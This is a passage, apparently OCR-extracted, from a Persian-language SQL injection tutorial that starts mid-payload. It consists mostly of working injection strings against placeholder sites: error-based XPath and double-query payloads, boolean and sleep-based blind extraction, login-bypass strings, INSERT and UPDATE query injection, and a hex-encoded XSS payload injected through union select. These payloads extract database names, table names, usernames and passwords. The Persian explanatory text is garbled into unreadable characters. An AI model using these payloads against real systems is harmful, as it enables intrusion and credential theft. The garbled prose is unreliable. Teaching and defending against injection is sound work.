table_name="users’ limit 0,1)),null)--

Output : XPATH syntax error: ':column_name here'
7-www.fakesite.com/index.php?view=-35" and
updatexml(null,concat(0x3a,(select count(username) from
users)),null)--

Output : XPATH syntax error: ':count_will come here'
8-www.fakesite.com/index.php?view=-35" and
updatexml(null,concat(0x3a,(select count(username,0x3a,password)
from users limit 0,1)),null)--

Output : XPATH syntax error: ':Output_here'

Error based Injection On SubQuery oSG g lgsao daoldl o
<Xpath injection _» L3 o> aih Ol gyl ST cpl 40 a5 g0l |,

Xpath ;| sgie 8y 0iS ooliiwl Wb &, &5 ool 5l Lz &S 0gd Jlgw wls ol
syl Jasimysql sl 5,9 5l can j0 a5 cwl ol GlgxSeuS oolatulinjection

J> oly &8lge cpl jolail os,S Ja8 g L1, b 5555 ! ool b g 0gis SlozoXpath
Dy didS dolol jo a5 Cnl ST ! 5l eolaiul

25 S5 g 5 opl lpf s b s SU Gl bo 8,6 LT pacao puedlgies fail o
:d; oolazwl
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www.fakesite.com/photo.php?id=1/

www.fakesite.com/photo.php?id=1""

www.fakesite.com/photo.php?id=1"

G55 00 Fetar o052l (oo Sl Sl ST l)ls (pissS B RIS L &S e (o0
03,5 o,Lul 3 Oile s ools a5 (69,0 40 pugh axgie |, ) e g pugdy ) Cewl ools aS

ew|

"1" LIMIT 0,1°

amS yo wl 00, Wlal 6555 Bl A iSeS K SO Lo aS cul solo F,y Slej gyl 0

il 039 6 595 Gl (SA5u ) )le 45 derd (gt

1" LIMIT 0,1

083 o 595l 9 00t L2l (5355 4yl 00,8 Lol 258 S Lo 28y S

6,18 CulS ST Il g 0S8, 1) el oals o)l o Lo (6565 5l ide el a0l (6l
oS CaelS |y sl ool Uas 59 0 el a5 Sland g oS ool

el 0092 py S 4 Lol (6595 muiSe 2,8 ol jo
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http://www.vuln-web.com/photo.php?id=1

select field1,field2 from tablel where id="

0,1;

0510 0 655 (g alsl oS CllS 4 sl STl eolaiul L Y

www.fakesite.com/photo.php?id=1"--

www.fakesite.com/photo.php?id=1"#

www.fakesite.com/photo.php?id=1'/*

www.fakesite.com/photo.php?id=1"-- -

S sy Db elaiSied s o Ll 555 | Alae YU K55 j0 a5 i
solauland Jfl.o.c 35 el e b osgdoe Tal ciRdee U o)l (59, 30,5 Sldas b] aS

select field1,field2 from tablel where id="1" and true-- - LIMIT 0,1;
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Olgae 4zl jo dgdad | > ol oulls alldS cialS Slae 5l o a5 sz, YU 6555 o

select field1,field2 from tablel where id="1" and true;

oS &0 0 o &80 ol asio sl il (oo G o YU (6 595 ;0 0wl by g0, e

592 Sl A nuday (6t (6595 )0 A5t e () Cogd e L YU LS e 9] (e0u g

e plmil )15 (nl ) &)90 4y a5 09ty L

select field1,field2 from tablel where id="1" and false;

oy 055 gllas 4 b g 05id 39 LlS & g0 4 d5iie g) ol a5 (89 b 95T
e st 959 5k JolS D90 a1 b C5 6 Coling axio mo b g wibes 3Ll ol STLI ole

.Mb).’)JimduJJLa M)l? u)yaﬂgw‘ 009.;)...@‘ w.QﬁgALOd.’))JAS

www.fakesite.com/photo.php?id=1"' and true-- -

www.fakesite.com/photo.php?id=1"' and false-- -

P | oogg)’ﬁ.d gM.OﬁgALcLy))J ML’).’) ;9)1?).’;‘45

ool 4l L8 5l as SuST ) eoleiwl b e g ol L')o;bﬁa\.gm.;f‘so&)& oo

|

www.fakesite.com/photo.php?id=1"' order by 1-- -
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www.fakesite.com/photo.php?id=1"' order by 1,2-- -

www.fakesite.com/photo.php?id=1" order by 1,2,3-- -

www.fakesite.com/photo.php?id=1' order by 1,2,3,4-- -

037w ol sl el ged ;500 Jadl oo B3 L e LU e (g Slas azei
, XPATH Injection using ExtractValue, l» oS5
union based, XPATH Injection using UpdateXML,
0315 olGh 039 b 9 99 (ged 03ld ialed Lo osd 8,5 6555 (295 b oz WS S5
ol 08,5 3gazme 1) ool axaS wolgs esl b g aiS o SlaioXpath ;L
Double Query injection LSub Query injection oSS Cugs azs o
R
" and (select 1 from (Select

count(*),Concat( ,0x3a,floor(rand (0)
*2))y from information_schema.tables group by y) x)-- -

(o o0 axlge 13 59l LYL &5 50

Duplicate entry ' :1' for key 'group_key"

U"‘ 6‘)"‘ as p.u.{ oolas ! g_ia.».i: U'" )‘ J.JL: LSJAJ.: w...u‘ u;‘ )o as f""ﬁ""" ° 4.>9.~o W)b

oS cals 1) eols
Sledbl g 0uiS o oolitwl oo axaS |8 4o asDeath row Injection uss 51 isw cpl o

ol (o ) el AT w9l (oo Cws ) abgs ye
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http://www.vuln-web.com/photo.php?id=1

"and (select 1 from (Select

count(*),Concat( ,0x3a,floor(rand(0)*2))y from
information_schema.tables group by y) x)-- -

oS oo las 1) eolo oL ol 3,k ol las

"and (select 1 from (Select

count(*),Concat(
,0x3a,floor(rand(0)*2))y
from information_schema.tables group by y) x)-- -

oS (oo oy 1 515 0,90 sla Jgur 5 )b (ol Sl s

"and (select 1 from (Select
count(*),Concat(

,0x3a,floor(rand(0)*2))y
from information_schema.tables group by y) x)-- -

oS Sledbl Sl al> e ;0 g.0uS (ool |y Hla5 0590 9o 10 09290 slo giw Al o (0l jo
DSl (o p) Dyge d dS oS (o b | puales e

"and (select 1 from (Select
count(*),Concat(

,0x3a,floor(rand(0)*2))y from
information_schema.tables group by y) x)-- -

Blind Sql Injection S oG

B3 Ol 4 Heed Slpllg9,l 4 g 0,0 (29,5 & Lo aS 09l (0 oolaiul Sy )0 ST (]
D9 (oo 41T 4il)6S )55

ouls aaS M3 aS Sl ST 5l plaS zd A4S 0g oo colaiul Sley SaST 5l a0
il edgs (29,5 5 59)) 2 (e Ll oz Wl S

6L sl Cewyo bl aS (ol ) (9 oals oL 5l 4 e 0 65 SO e SaST ol o
iJle Glgie 4
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http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1

Sg2g A ol ;0 S g8 i SO add g araies bo 4 (5,9, zd Sgin cvalive aS jsb en
oS oolain] SCuST pl STl A poad oo dgie o Ml (o0

50 A 02300 6555 50, el w H# Slee l solatwl b gt a5 Sgiuse sdmliv bxol jo
39 oo odmlie %023 LYL 5545

e b ol oo ploxil w0 as lo 33,55 bl 4 0uiS G pudles> o o

"and true%o23
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http://www.vuln-web.com/photo.php?id=1/
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1%27--
http://www.vuln-web.com/photo.php?id=1%27%23
http://www.vuln-web.com/photo.php?id=1%27/*
http://www.vuln-web.com/photo.php?id=1%27--
http://www.vuln-web.com/photo.php?id=1

"and false%023

& mgd (o0 agie 0,5 8l,s o8 (59l g w5 Jlo g Ojge 4 aio sS4 g b
D (S )S praane 5O

Dgds oo 4iaS aS 5l 0929 DMes (l (gl die g0 Ll o

:J gl ae

oS 0 03liwlASCII and Substring Function aas o062 5l ae ol o

Qb (9T L plpas s s bala Sul laaeAscii('a’) ob Jls olgie a

s, 5 bsubstring &b 5l e

substring('n00b',1,1) will return n.
substring('n00b',2,1) will return 0.
substring('n00b',3,1) will return 0.
substring('n00b',4,1) will return b.
substring('n00b',5,1) will return empty

o bl Sl jlade sl oo lawl jsAscii(substring('n00b',1,1)) «b Jlo lgre

Select column_name from table name where 1d='input' and
Ascii(substring('n00b',1,1))>100;

tomb (6585 ;0 Lol vgie 0g) s oS &g 4 Gl Gy 9> YU (6,555 40 Do
Select column_name from table name where id="input' and
Ascii(substring('n00b',1,1))>110;

Cs-Team.in



http://www.vuln-web.com/photo.php?id=1

By SeSS Wl &S el 0 A>gine ol s Lo s (649,) 5 cudls yalls o S S

0esS” oalaul il e )68
"and and Ascii(substring((Select

table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))>97%23

S9) mols a5 0ols oL yo Jgua (rdol 51 STE Gl bl a5 0iSee S b YU 32,5 50
dgs 0g) JalS & g0 ) dras g Wl Cew o S L sl 55,58 5l eedse sl |y 5,55
oS S 04l g ool xolial il sl

"and and Ascii(substring((Select

table_name from information_schema.tables where
table _schema=database() limit 0,1),1,1))>110%23

w2l 48 o0ls oSl 5 Sy sl 5 SIS gl LI oS oS o Sz o g Yl By 0
ol o JolS 50 4 azbo &SI, b sl 35S )5M 5l oo (o0 plosl ) )5 Ol 9,
g 5 e S 1 oyl o8 s o a0 0 g Bl &0 41 51 Ll e (o el

oS Sz

bo)bsoijbllo 9105 k)"'"L“'QJ‘ &bw)dﬁw‘ W)QASMGA&JS JL>
S (o0 S ez g (50

"and and Ascii(substring((Select
table_name from information_schema.tables where
table _schema=database() limit 0,1),1,1))=106%023

"and and Ascii(substring((Select
table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=107%23
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http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1

"and and Ascii(substring((Select

table_name from information_schema.tables where
table _schema=database() limit 0,1),1,1))=108%23

Oed 5l odliiul b e 5 05 (o0 I 1) Jooz 5l By (sl pU SiSS 0l b s o
&S sk GeealesS lam 1) Jeoz U 5B 3 Il g B> megs ol gl mrg e SSS
o0ay ool 5l aS milon oo (SuST  delol o aSicnl SYeb Les g, ol Cenl adtic
Sb (o g

S oo oolaiwl 8,55 ol sl osls oSGL AL o 5l s 4y (sl

"and (select 1 from dual where
database() like '%")%23

Loy (o9 colo @ oy (oo ydon adlllas sl aSiail (edual waz 5o s YL (5555 50
P 2 G Joir S Al g (o0 4 b ay Ll oS adlllae pgas nl yo 9 29,
A3l (o0 300 S92 g 00ls 0Ly (B Ay Do 4 &S B 3 9 e &

5 5SS S gl " logh e oolaul sols oL el wlis gl p polike odS o le o

o Jle plgie 4 05l o eoliiul ST iz 6l %7

Select username from users where city like '%degora%o’;

Select city from users where username like 'n00%*
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http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1

Select city from users where username like *

Select username,password wehre city like 'u_ t %

oo 1) Sl 0590 gt b Jour pU Bl S pu b g (o) 0 a8 Conl () SOl e
.O)’

25 009, 3 el Gl (B iz Lo oolo oL b 4 1S (0 S g mebee Jol pad o
S oo oolaiul

www.fakesite.com/photo.php?id=1' and (select 1 from dual where
database() like ' %23 (we started from 5)
False

www.fakesite.com/photo.php?id=1' and (select 1 from dual where
database() like ' %23 (Now we chaecked 6)
False

www.fakesite.com/photo.php?id=1' and (select 1 from dual where
database() like ' %23 (Now we checked 7)
True

0,5 5 le SIS el (68157 Lo 00ls oSl b a5 pugids (o0 dxgie a0
il Glaie fai b a5 ko 092 Lo oolo oL pb S o SSTIS pl pudes 0usS (o0 S

"and (select 1 from dual where

database() like '%a%")%623
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http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1

"and (select 1 from dual where

database() like '%e%")%23

"and (select 1 from dual where
database() like '%i1%")%023

"and (select 1 from dual where
database() like '%0%")%623

"and (select 1 from dual where
database() like '%u%6')%23

Ax 3,10 092>9€ g8 sla ST Lo ools oL U jo a5 aegd lg5 o0 6585 izl Ced' b
aﬁeﬂd’bﬂsQ_’l

oL pb e Jlie gl aSiagd 1) colo oL pb o 2SS o (69, 51 05 o b lei oo aS
el 039 'dbase 1" ol Jlax! ools

S S |) Qledgs e Ojge (nl 4 paely (o0 masd Gredae &Sl sl

"and (select 1 from dual where
database() = 'dbase_1')%23

oS ool |y il oo “PasSS” g a4, Jolis a5 ola ygiw pb o

"and (select 1 from dual where
(select table_name from information_schema.columns where

table_schema=database() and column_name like '%pass%o’ limit
0,1) like '%")%23
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http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1

9] (o0 S A g ISS ] gt Ol pU gla SIS slaws g malee e

www.fakesite.com/photo.php?id=1"' and (select 1 from dual where
(select table_name from information_schema.columns where
table_schema=database() and column_name like '%pass%o’ limit
0,1) like'  ")%23

www.fakesite.com/photo.php?id=1" and (select 1 from dual where
(select table_name from information_schema.columns where
table_schema=database() and column_name like '‘%pass%o’ limit
0,1) like * %623

sk

MLLSQ‘S,LQJ..S\)[.T»J.SUSS O s S Sl b e

www.fakesite.com/photo.php?id=1" and (select 1 from dual where
(select table name from information_schema.columns where
table_schema=database() and column_name like '%pass%"’ limit 0,1)
like '%a%0")%623

www.fakesite.com/photo.php?id=1" and (select 1 from dual where
(select table_name from information_schema.columns where
table_schema=database() and column_name like '%pass%’ limit
0,1) like '%5%6")%623

www.fakesite.com/photo.php?id=1" and (select 1 from dual where
(select table_name from information_schema.columns where
table_schema=database() and column_name like '%pass%o’ limit
0,1) like *%d%06")%023
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ol &5 ol (g0 50 Doy (soled 005 el e (oo plil ) LIS 1YL O 50 4y &S

13,5 Cond 1l Sy a0 g oo s 993 a0, S gl ol o'users'

www.fakesite.com/photo.php?id=1"' and (select 1 from dual where
(select table_name from information_schema.columns where
table_schema=database() and column_name like '‘%pass%o’ limit

0,1) like "users')%23

oS ald |y redl 8 )9m0 g 059 peleS (0 &S oy (o0 B Al o A e

www.fakesite.com/photo.php?id=1" and (select 1 from dual where
(select column_name from information_schema.columns where
table_schema=database() and table _name="users' and
column_name like '%username%o’ limit 0,1) like '%")%623

www.fakesite.com/photo.php?id=1" and (select 1 from dual where
(select password from users where username like '%0admin%b’ limit
0,1) like '%")%23

Evil Twin Injection <>

Evil eMe>sql 5l eolatuwl b sols oSl cledbl 148l caws 4 sla by, op 5 g 5 (o

b »Twin Injection
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L;3..&35..13‘590%6&}4.3@‘%}“5&:.3)0&M)Uébng‘UM&édeLsLmM)Q

sl oly 51 (Soaile (o0 et G K00 45 090 (oo Yok Gum Lo S9di 9SS dwg
Mb ° MJ u)‘ )‘ oalau! WL.A u‘)i’lp'
aorder by 5l eslical b 1, ole,kis 5,50 gl (g 45 oS oo oolitul Sloj iS5 oyl
Sl 5 a1y lesg LS 5 0t ooliil iS5 ol 51 a8 Cel ] les Yo gl 05 5]
il 2y S 4L G5 Jle oy 4

1'union select 1,2,3,4#

RO \"L’F"‘ ‘) QL"‘)? &P QP u-°)l-€r’> ) M‘g?wa Lo 9
555 gl 1) oals ol sl g 5 Jslaz ples pb olgs oo 25 82,55 3l eolazal b

Sk (oo 5 S 4 ol (295 S

[ harish _dbs ] = roll = rate

[ harish_dbs ] = roll = grade

[ harish_dbs ] = sale > id

[ harish_dbs ] = sale > sale_no

[ harish _dbs ] = sale > sale_date

[ harish_dbs ] = sale = bill no

[ harish _dbs ] = sale = bill_date

[ harish _dbs ] = sale = party

[ harish _dbs ] = sale > actual paid

[ harish dbs ] == sale detail = id

[ harish _dbs ] = sale_detail = sale_no
[ harish_dbs ] = sale_detail = bill no
[ harish _dbs ] = sale_detail = roll_id
[ harish _dbs ] = sale_detail = rate

[ harish _dbs ] = sale_detail = mtr

[ harish _dbs ] = users = id

[ harish _dbs ] = users > username

[ harish _dbs ] = users = pass

il oo 99 slo i ml (sag 9 S99 el (s090 0318 oGl el (ol 45
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Do oo g0 Al 1o Cugh g

Sgdan 0l Gislei Lo 4y b 05 g o y590 oled 29,5 )0 358 0,5 5l eolawl b as

Sql Injection jl colasw! b (Y axbo b

S (o0 o o2 bl pd ol amio SO OST ujge ol o

$uname=$ POST['uname'];
$passwrd=$ POST['passwrd'];

$query=""select username,pass from users where
username="$uname" and password="$passwrd" limit 0,1";

$result=mysql_query($query);

$rows = mysql_fetch_array($result);

if($rows)
{

echo "You have Logged in successfully' ;

create_session();

}
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{

Echo ""Better Luck Next time"";
}

S5 499,65 )5 5l e (5399 sl oo CwlphP (L5 4 e Vb o jm o0 e lsie &,
o OS5 canly sz 00ls oL 4o o, i aST A o S e 1S o Jraussql
a3 & g0 (pl el yo 09

ol el oals eolaiwl (pinT oS JKiiw 5l 09 o cdline dxin OS uygw )0 45 jeb en
S osliinl by Cren Sl k5 Lo (0

25 o0 B G5 0 L= 0T S50 5 0 i gl Jle plsie 4

Username : ' or "='

1 n

Password : ' or'=

1l (o0 p) SIS w ojle o0 &S (5355 &S

select username,pass from users where username="

password=" "limit 0,1;

19,5 Jos 225 Syge @ ol o b
Username : ' or 1--
Password :

select username,pass from users where username="

password=""or "'="" limit 0,1;

Ll 5555 Cids joal g hal il canls Kles jlow Gz 2 pils (o0 a5 johaten
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select username,pass from users where username="" or true;

g Ll Sglate slo (6355 ;0 glate slo 3,55 b peplys o0 L] po

select username,pass from users where username=("$username') and

password=("$passwrd") limit 0,1;

Injections:
") or true--
) or (")=("

"or 1--

select username,pass from users where username=""$username'* and

password=""$passwrd" limit 0,1;

Injections:
" or true--
" nn_—_mn

or
"or1--

select username,pass from users where username=(""$username"’)

and password=(""$passwrd") limit 0,1;

Injections:
") or true--

H) or ("H):(H

") or 1--
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select username,pass from users where username=(('$username’))
and password=(("$passwrd")) limit 0,1;

Injections:
")) or true--

) or ((")=(("
") or 1—

fo29) (o0 1y (SY ambo ol &, 5 Gl ogky Sl d B0 g
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or
"or"&"
"or ttAT
"or e
or true--

" or true--
' or true--
") or true--
") or true--

L} Or le:lX

") or ('x")=("x
) or ((x7)=(("x

LA} Or IIXII=IIX

" or ("x"™)=(""x

") or (("x*)=(("'

Insert Query Injection oMo

00,55, S pedlss oo 4l o ool L 5T, Sl ealys ed Ses g9 ol o
f“""S 43L4>‘ oolo oli'l_,

toals oSy 4 0,55, S5 5,5 (sl ool Jlie S

insert into table name (columnl,column2,column3) values
(valuel,value2,value3)
Do 00liw] 5 SUSE3 51 Vaane 00ls ol a0 0,65, SO G,y &y

1. Xpath Injection
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2. Sub Query Injection
3. Tempering the Insert Query input values to get the Output.

oS o oy SelPhP L5 4 a8 oyl s Sl G ol

$title=$ POST['title'];
$post_data =$ POST['posts_data'];
$label = $ POST['label'];

$query=""insert into posts (title,post_data,label) value
("$title’,"$post_data’, $label’)™;

If ("mysql_query($query,$conn))
echo ""Error While Insertion process : ' . mysql_error();
else

echo "Inserted Sucessfully

.m.;SGAooLé:;M\ Gy 61){@4;55&@}456191@351 el o

insert into posts (title,post_data,label) value
("$title’,'$post_data’,'$label")

(ol b sla ol g e Cumdg (0 (32,5
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bl oo 5 Oy a5 daae Olgx Jol G, YU Jle gl aS

$title = * extractvalue(0x0a,concat(0x0a,(select database()))) *

Injection:

insert into posts (title,post_data,label) value ('
extractvalue(Ox0a,concat(0x0a,(select database())))
"'$post_data’,'$label")

oS oo Glaled Ho)l Sop S o]y end &5 sloo Vb &5 4

M9y ° P9 LUV é‘)‘“’ S

insert into posts (title,post_data,label) value

("$title’,'$post_data’,"$label")
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$title = * (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) '

Injection:

insert into posts (title,post_data,label) value (** (select 1 from (select
count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from
information_schema.tables group by y)x) *',"$post_data’,'$label")

o ool Gl (g5 o bea o)l Sap o) ml oS By S lus Vb BP0 WS
D g

Pgw R9)

o ookl 550 gy 3l aedS 3oy 1) oo &S mgy (e 59l Ko CBlu El s Lo gy ol 5o

Insert into posts (title,post_data,label) value
("$title’,"$post_data’,'$label")

e bb oplasl e Stitle, $post_data, $label o3 L sl 699,9 YU (5555 50
o o b sl (50g,9 y) il S cowls I, 6,585 4 g o0ld ‘aledl I, 095 35,5 w—:—“"?
b oo el e

$title = it starts here

$post_data = any data’,database())--
$label =

o o a5 (655 50l 55k o 4 ez S e (JB label go550 5o o Lo cpl ol
Ol 3l By Pl o aS. 0SS co adlal Lo s pstie 40 S0 il )l SO S cl ol oS
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b oo ) el 5555

insert into posts (title,post_data,label) value (‘it starts here','any

data’,database())--*,")

$post_data = any data’,(select group_concat(column_name) from
information_schema.columns where table_schema=datbase() and
table_name='any__table name_here"))--

oy Gloled Lo 4y ) e gt slo ools oS oiST o pudaid (5552 1) Lo vy e

$post_data = any data’,(select
group_concat(username,0x3a,password) from
any_table name_here))--

Time Based Blind Injection oS

)5).»...»)‘ s_ALC)Ua‘ UBL’)Q 6‘)" ngf.n) o‘)c.«.bd.sw.usksoodu.u»‘ Lstﬁ‘g.o)d u.l.C‘sS.uSJuJ‘)‘
) i 655 o b b SGDBMS a5 wias 0 7, Sloj 5o O g5 (pld)lad 992
iJle (lgie 4058 (oo 13U e cel g uiS o 2

" and sleep(10)--

" and sleep(10)#

" and sleep(10)/*
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http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1
http://www.vuln-web.com/photo.php?id=1

" and sleep(10)--+
and sleep(10)--
and sleep(10)#
and sleep(10)/*
and sleep(10)--+

" and sleep(10)--
"and sleep(10)#
"and sleep(10)/*

" and sleep(10)--+

oo b Jaws/23 aurl o aicaft ) soliiwl ple 1o a5 col (] 510 3429 a5 ol 4SS

D¢ sencode

10,5 oolaiwl 13 3,5 5l Oles 00lo oL AL 0,0l s 4 (5l Jlie sl

" and (select sleep(10) from dual
where database() like '%")#

13,0 ST aa Lo 0olo oSGL pl aS iSe S ol o

" and (select sleep(10) from dual
where database() like "Y# (we started from 5)

" and (select sleep(10) from dual
where database() like "Y# (Now we chaecked 6)
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" and (select sleep(10) from dual
where database() like "Y# (Now we checked 7)

M@Wj) J)J)lS)J c_93)> ww‘ ng.o.f|)l57 Lo ool OKJ[A lalJ dSrgJ}w LSAd.D-aM
Lz b s L Jlai )50 sl 6)35‘)59}?%

" and (select sleep(10) from dual
where database() like '%0a%o")#

"and (select sleep(10) from dual
where database() like '%0e%")#

" and (select sleep(10) from dual
where database() like '%i%")#

" and (select sleep(10) from dual
where database() like '%0%")#

" and (select sleep(10) from dual
where database() like "%u%0')#

And so on.

Lo LSLQ’ 6)35‘)15 9> -,l,d,b,s,a,edLe‘%);;Sl)lS aS |'°"‘"L’ < Sleds| 6)3‘ ro> )| Sz
Qb odbase 1 56 b sols ool pb Yot aS ool (oo 0 At

1,5 Cud |y 093 i Glg5 e 2y B2,y 5l eolatl b

" and (select sleep(10) from dual
where database() = 'dbase _1')#
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SlypsS log 1) W9l aPASS 4y Julds a5 oo ygiw pb aS vy (oo ol 4 Cog s

i0lS (o0 Jos ) JS3 4 )8

" and (select sleep(10) from dual
where (select table_name from information_schema.columns where
table_schema=database() and column_name like '%pass%o’ limit
0,1) like '%")#

oS oo 1y gt o gl SIS olaws aub e

" and (select sleep(10) from dual
where (select table_name from information_schema.columns where
table_schema=database() and column_name like '%pass%’ limit
0,1) like' "

" and (select sleep(10) from dual
where (select table_name from information_schema.columns where
table_schema=database() and column_name like '%pass%o’ limit
0,1) like ' "V#

SIS ol b sl (oo 6 5STIES S5 5590 (ygim msl 45 g (o0 Az e a jo
o2 oo |
" and (select sleep(10) from dual
where (select table_name from information_schema.columns where

table_schema=database() and column_name like '%pass%o" limit
0,1) like '%a%")#

" and (select sleep(10) from dual
where (select table name from information schema.columns where
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table_schema=database() and column_name like '%pass%o’ limit
0,1) like '%s%")#

" and (select sleep(10) from dual

where (select table_name from information_schema.columns where
table_schema=database() and column_name like '%pass%o’ limit
0,1) like "%d%")#

Sygun | Al o 30 g CewlUSETS o 8590 (ygiw U i a5 poly (o0 40 Bgy Coud 3l oy

" and (select sleep(10) from dual
where (select column_name from information_schema.columns

where table_schema=database() and table name="users' and
column_name like '%username%o’ limit 0,1) like '%")#

XSS Injection With Sqli(xssqli) <S>
Dgb (oXSS e a5l o Ll ol 4o yued (sl 0l o8Ql1gXSS oS 5 DM £45 0!
oz (XSS) oS 30,5 o
06 XSS Ciise &g 4 a5 (Cross Site Scripting) oog g,k 5l cos Sl 5,5 ales
L9 ol w)f oLu.w‘ CSS u;>-‘).'a UL’) L> (5‘9 S| CSS 6'9‘3)‘5 UT RS0 ¢ damsa OML:
9 99 0 o ol Gy 4o aS Cuwl iy, 55 OMes 5 299 g oo 000l XSS s ren
5l 13 gl oSl o oy G S (s 5 gl e o
L ouaisS alos awgy ous o lg slassls Q] 40 aS o):.f@ Syg0 sl s wT t.s"" alos oy
o Sl gl glaas™ wilgs co ool (pl gl co ools )57 beow ol il yeas S
AR tbl.?u‘ )im LS‘)" ‘A"‘}’gs" u’_a.l..?m 6Lm)l5 9 ol ‘)>‘ ).3)[5 ;)9)40 Coww 0 as ML’
il 39250 2 (98,8 <50 Sl Ol 4

http://fakesite.com/link.php?id=1
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ol aiaS ol gl wie MB aS jahailen® 5 L o jlo SL L1 aS puin 0 Sl pudlgdn Lo 3]
Gnl) 75 59, Lo 4y does )0 aS o )l)éurl FE SRRV S L CUUWITE CILAWOL-|L g EL ) SRRV

1ARO

You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to
use near '1" at line 1

oS G, PULL J0 g ools J1,8 1) LeogsXSS dgbo pinssS K 5l CandlS

odl ALH$XSS ) j0 aS vgdh wdialog DOX L 5 5 ciS olS SO o b el [l aS

Solo 9 mlo b yetw Slaws 15055l Cews & 3l am &S cnl SGST ] Ko e ol nY
iJle Glgie oS 8,5 b g 51 Sy ]y Glesgs

http://fakesite.com/link.php?id=1" union select 1,2,3,4--

35ko3 o )leds gt 48 el oo YU Jlie yo ail 04 la ygiw olaxi 345 o cdalice a5

5l oo g D90 4 LXSS Wew

4 oS 0550l S 4 1) g8 sk ST oS (heX) Ra &jso 4 15l il o Gy le &S

S Y o
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0x3c696d67207372633d78206f6e6572726f723d636f6e6669726d282f5

853532f293e

Sl ooy e Al o 0ad 55 ogly 151 )0

http://fakesite.com/link.php?id=-1" union select

1,2,0x3c696d67207372633d78206f6e65727261723d636f6£6669726028
2f5853532f293¢,4--

Dgde 03l ialed pous et )0 Lo S5l (2,5 a0
ol (XSSl &, b 54 ols bl ) (g0l ; Mas g 8,5 soliiwl g SaSS ! 5
oMa> JopesS (g3l ool 1) Ll
Cookie stealing
XSS phishing
XSS iFrame Phishing
Chained XSS
Session Hijacking
CSRF attack
XssDdos
Ll 7 )B dlas pl das cpl 5l Das ol sy a5

Update Query Injection oMo

Conl g5 1 Lo 6355 daagd il LSl o el ol DM (ol opan 5 il (s 4G
oS oolin] ST ! 1l aS gl o dzgie WS o Cumsl be ol |y Sl (6 s S

$status=$ POST['status’];

$current_user =$ SESSION['username'];
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$query=""update users set status="$status' where
username="$current_user'";

if ("mysqgl_query($query,$conn))

echo "Error While Updation process : " . mysql_error();

else

echo ""Updated Sucessfully

13,5 oolaiwl g8 ooy Do LJB o ST
1. Xpath Injection
2. Sub Query Injection
3. Tempering the Update Query input values to get the Output
4 Blind Injection

il 09290 25 P85 Jol > sl

update users set status="$status’ where username="$current_user’;

10l ol 0970 g e Comdg j (&)

' extractvalue(Ox0a,concat(0Ox0a,(select database()))) *

"* extractvalue(Ox0a,concat(0x0a,(select database()))) **

" extractvalue(Ox0a,concat(0Ox0a,(select database())))--+

"* extractvalue(Ox0a,concat(0x0a,(select database())))--+
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' extractvalue(0Ox0a,concat(0Ox0a,(select database())))#

" extractvalue(Ox0a,concat(0x0a,(select database())))#
' extractvalue(0x0a,concat(0Ox0a,(select database())))--

"* extractvalue(Ox0a,concat(0x0a,(select database())))--

b Jlo jo cnlpls 05l (o Izl 5l gaw a5 Cal Jgu8 050 (5950 Lais 355 slo 3,5 50
Ll Jgu8 0590 Jol &5
et

$status ="' extractvalue(0x0a,concat(0x0a,(select database())))'

update users set status="
" where username="$current_user’;

D9l g0 00l ialed Lo ay jo,l S B o 29,5 Az o

il S92 90 25 P55 oo >

update users set status="$status’ where username="$current_user"

:Q‘ uw.ala 0950 g )-*M e P 33

' (select 1 from (select count(*),Concat((select

database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x) *
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"* (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) *

" (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x)--+

" (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x)--+

" (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x)#

" (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x)#

' (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x)--

" (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x)--

180 (oo Dls (ol &) 398 JUo sl &S

update users set status='

username="$current_user";
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Ded oo 00ld iuled Ho,l SO p S A ol >g 5 aS
w9, o lempering the Update Query input o <Mes pgu Il &l on
DB o5y los b 4 ‘S,Ua.> oy daliyp aS S oo oolazwl Sy ST ol

ol 0 09290 2 SS9

update users set status="$status’ where username="$current_user’

Slass dJ)).’ s_i.’ )‘ ool l.a M‘s} P Lo Jbojﬁstatus )-M L Lo 529,59 YL’ 6)355 o
oS e 1, 0l 6l o (sl 35T IS

" length(database()) '

Dgdo ) py8 a Yb w0 colaiul yloj aS

update users set status="
username="$current_user"

506 S S | o ol e 51 ssltarget Lo ools ool ol oS 5 5 e ol
oS baws Be au ) eols ol el sl dw als e 30 ST pl 0000 o inlei 1,6

" hex(database()) *

1098 o0 ) a8 a Yb ae )0 colaiul yloy aS

update users set status="

username="$current_user"

a 8o 5lo,lgs 1) Jlade cpl S1a5.00,5 o con746172676574 Jade 558 G5 dos
o pasie cwltarget les a5 sols ol pb ewSUNhex Mool & b o Ko il
3 ean 0ol oL pb jo Mo a5 aBlge jo a5 ol Cpl ol 9 0 0 02 i S Lol
